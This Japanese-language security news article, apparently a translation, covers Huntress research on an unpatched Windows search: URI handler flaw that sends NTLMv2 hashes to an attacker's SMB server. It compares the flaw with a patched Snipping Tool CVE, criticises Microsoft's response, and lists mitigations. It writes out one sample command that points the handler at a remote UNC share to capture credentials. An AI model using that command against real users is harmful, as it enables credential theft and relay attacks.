ネイティブリンクハンドラーの脆弱性
Windows上の悪意あるハイパーリンクをクリックするだけで、ワークステーションが完全に侵害されることがあります。その際、オペレーティングシステムは機密認証情報を自動的に遠隔の攻撃者へ送信してしまいます。重要なのは、この脆弱性が高度なマルウェアや複雑なエクスプロイトチェーンによるものではない点です。仕組みは、Windowsに標準搭載されているURLプロトコルハンドラーのみを悪用したものです。
セキュリティ専門家集団のHuntressが最近、この未修正の脆弱性の詳細なメカニズムを公開しました。この攻撃経路を通じて、攻撃者はターゲットのNTLMv2暗号化ハッシュを密かに窃取できます。注目すべきは、この新たな手法がCVE-2026-33829と非常に類似している点です。Microsoftは2026年4月、Windows Snipping Toolに存在した同脆弱性を修正しています。
旧Snipping Tool脆弱性の分析
CVE-2026-33829の深刻度はCVSS 3.1スコアで5.0（中程度）でした。この脆弱性は主に、ネイティブのms-screensketch:プロトコルハンドラーを悪用して企業の機密データを露出させるものでした。アドバイザリによると、攻撃者はメールを介して細工したURLをユーザーに開かせることができます。被害者がリンクをクリックすると、マシンは攻撃者のSMBサーバーへ接続し、ユーザーのNTLMv2ハッシュを渡してしまいます。これにより、不正なアカウント乗っ取りが可能になります。
Snipping Toolの根本的な欠陥は、ハンドラーがfilePathパラメーターを無検証で受け入れていた点にあります。システムは渡されたディレクトリパスの検証を行いませんでした。攻撃者がリモートのUNC（Universal Naming Convention）ネットワークパスを渡すと、WindowsはNTLM認証シーケンスを自動的に実行します。その結果、脅威アクターはユーザーのNet-NTLMv2認証情報を容易に傍受できました。
Windowsサーチスキームの武器化
この新たな脆弱性は同じ暗号化的結果をもたらしますが、まったく異なるプロトコルハンドラーを悪用します。ms-screensketch:ではなく、ネイティブのsearch:スキームを武器化する手法です。さらに、従来のfilePath変数の代わりにcrumb=location:パラメーターを使用します。
例えば、武器化されたコマンドはstart "" "search=test&crumb=location:\10.0.1.100\share"として実行されます。HuntressのアナリストであるAndrew Schwartzは、情報漏洩のメカニズム、前提条件、および中程度の深刻度がいずれも以前の脆弱性と完全に一致することを確認しています。
実証的な検証とユーザー体験
アナリストたちは、標準的なWindows 11 25H2 Pro環境でこの攻撃手法の再現に成功しました。テストでは管理者権限を持たない一般ユーザーアカウントを使用し、デフォルトのMicrosoft Defenderセキュリティスイートは完全に有効な状態を維持していました。攻撃者側のサーバーでは人気のツールキット「Responder」を起動させておきました。その結果、悪意あるリンクが実行されると即座にユーザーのデータが傍受されました。
重要なのは、被害者側には「リソースにアクセスできない」という一般的なWindowsの警告が表示されるだけである点です。しかしその時点では、すでに暗号化ハッシュはエンドポイントの外へと流出しています。Huntressによると、この情報窃取はログインセッションの初回実行時にのみ発生します。同一セッション内での繰り返し試行は、標準的なアクセス拒否エラーで終わります。
窃取されたハッシュの戦術的価値
窃取されたハッシュは平文パスワードではありませんが、攻撃者にとって極めて高い戦術的価値を持ちます。具体的には、この認証情報を使ってNTLMリレー攻撃を実行することが可能です。これにより、攻撃者は企業の内部ネットワークへさらに深く侵入できます。ただし、このシナリオは内部インフラがそのような認証手法を許可している場合に限られます。
過去には、2024年2月にCVE-2023-35636としてcrumbパラメーターを使った類似の攻撃手法が研究者によって記録されています。それでも、この最新のsearch:バリアントは、根本的な構造上の問題を改めて浮き彫りにしています。同一クラスのソフトウェア欠陥が、まったく別のWindowsプロトコルハンドラーに繰り返し現れるという事実です。
対応の不一致
Huntressは2026年4月15日、この調査結果をMicrosoft Security Response Centerに正式に報告しました。この開示は、MicrosoftがSnipping Toolの脆弱性を修正した翌日のことでした。しかしMicrosoftはセキュリティ修正プログラムの提供や専用CVE識別子の割り当てを拒否しました。同社は、サービス基準が主に「高」または「緊急」の深刻度レベルに適用されると説明しています。しかし逆説的なことに、以前のCVE-2026-33829も同じく中程度の評価でありながら、正式なパッチが適用されていました。
Huntressはこの対応の不一致を強く批判しています。Snipping Toolの脆弱性にはCVEが割り当てられ、即座にアップデートが提供されました。それでも、両脆弱性はまったく同一の欠陥クラスに属し、同一の攻撃結果をもたらします。さらに、この未修正のsearch:バリアントは、単体の補助アプリケーションではなくWindows Explorerに直接組み込まれています。
アーキテクチャの内部的な複雑性
アーキテクチャの複雑さをさらに増しているのは、Windowsがsearch:とsearch-ms:の両方を別々のプロトコルとして登録している点です。にもかかわらず、どちらのスキームもExplorerFrame.dll内の同一処理ロジックに直接ルーティングされます。したがって、一方のURIスキームにパッチを適用するだけでは、この構造的な脆弱性を完全に解消できません。リモートネットワークパスへの無制限なアクセスを許容する根本的なメカニズム自体を無効化する必要があります。
企業向けセキュリティ対策の推奨事項
企業環境において、このケーススタディはパッチ管理戦略の大きな盲点を浮き彫りにしています。多くのプログラムがCVEリストのみを基準に防御の優先順位を決定しているのです。組織はSnipping Toolの4月の修正プログラムを忠実に適用しているかもしれませんが、Microsoftが公式アドバイザリを出していないため、並行するsearch:ベクターには完全に無防備な状態が続いています。
根本的なパッチが提供されていない現状では、HuntressはアウトバウンドのすべてのSMB通信を厳格にブロックすることを推奨しています。具体的には、TCPポート445および139のアウトバウンドトラフィックを制限する必要があります。また、管理者は内部セグメントでの認証リレー手法を阻止するため、SMB署名を必須設定にしてください。さらに、プロキシおよびメールログで異常なsearch:またはsearch-ms:リンクがないか監査することをお勧めします。これらのプロトコルが正規の企業コミュニケーションで使われることはほとんどありません。
翻訳元: https://meterpreter.org/windows-search-protocol-leak/
